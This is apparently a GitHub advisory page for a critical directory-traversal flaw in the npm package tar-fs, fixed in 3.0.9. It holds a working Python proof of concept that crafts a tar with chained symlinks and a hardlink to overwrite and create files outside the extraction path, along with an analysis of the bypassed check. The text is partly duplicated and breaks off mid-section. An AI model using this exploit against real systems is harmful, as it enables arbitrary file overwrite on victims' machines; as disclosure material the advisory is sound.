tar-fs Link Directory Traversal Vulnerability
Summary
NPM package [tar-fs](https://www.npmjs.com/package/tar-fs) allows a malicious tar file to write arbitrary files outside the destination directory.
Severity
Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls.
Proof of Concept
This proof-of-concept assumes it is being run under /home/username.
The tar file created in this PoC will modify the /home/username/flag/flag file that exists outside of the destination path the tar file is extracted into. The tar file will also create /home/username/flag/newfile.
This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0.
1\. Prepare the environment
```shell
$ pwd
/home/username
$ mkdir flag
$ echo "hello world" > flag/flag
`
2\. Prepare the tar file
Open a Python interpreter and run the following code (can be copy and pasted).
```py
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname =...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| npm Product | < 3.0.9 | 3.0.9 |
Details and references
### Summary NPM package [tar-fs](https://www.npmjs.com/package/tar-fs) allows a malicious tar file to write arbitrary files outside the destination directory. ### Severity Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls. ### Proof of Concept This proof-of-concept assumes it is being run under `/home/username`. The tar file created in this PoC will modify the `/home/username/flag/flag` file that exists outside of the destination path the tar file is extracted into. The tar file will also create `/home/username/flag/newfile`. This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0. ##### 1\. Prepare the environment ```shell $ pwd /home/username $ mkdir flag $ echo "hello world" > flag/flag ``` ##### 2\. Prepare the tar file Open a Python interpreter and run the following code (can be copy and pasted). ```py import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" # The following code is for tar-fs@3.0.8 only. tar-fs@2.1.2 and tar-fs@1.16.4 # correctly validate this filename, which stops this file being created. newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) ``` ##### 3\. Extract the tarfile ```shell $ pwd /home/username $ ls flag # check the flag dir and file are unchanged flag $ cat flag/flag hello world $ mkdir otherdir # this is a dummy dir to keep everything clean $ cd otherdir $ npm install tar-fs # install tar-fs $ node Welcome to Node.js v18.19.1. Type ".help" for more information. > const tar = require('tar-fs'); undefined > const fs = require('fs'); undefined > fs.createReadStream('../poc.tar').pipe(tar.extract('.')); <ref *1> Extract { //... } > CTRL-D $ cd .. $ ls flag # the flag dir is different! flag newfile $ cat flag/flag overwrite $ cat flag/newfile new! ``` ### Further Analysis ##### Multiple Symlinks tar-fs has checks that attempt to prevent the creation of symlinks where the target is outside the destination directory. This amounts to the following check in `onsymlink()`: ```javascript const dst = path.resolve(path.dirname(name), header.linkname) if (!inCwd(dst)) return next(new Error(name + ' is not a valid symlink')) ``` [`Path.resolve()`](https://nodejs.org/api/path.html#pathresolvepaths) merely joins paths passed as arguments and returns an absolute path without any `".."` components, joining the path with the current directory if needed. No attempt is made to resolve any symlinks in the path, nor check that they exist. This means that a `linkname` like `"noop/noop/noop/../../../"` can be successfully created as it simply returns `dst` and passes the `inCwd(dst)` check. Likewise, `noop`, with a `linkname` of `"."`, also evaluates to `dst`. However, once these symlinks are both created they can be used together to escape the destination directory. `"noop/noop/noop"` evaluates to `"."`, which means `"noop/noop/noop/../../../"` becomes `"./../../../"` allowing traversal outside the destination directory. ##### Har
- Severity from
- GitHub (reviewed advisory)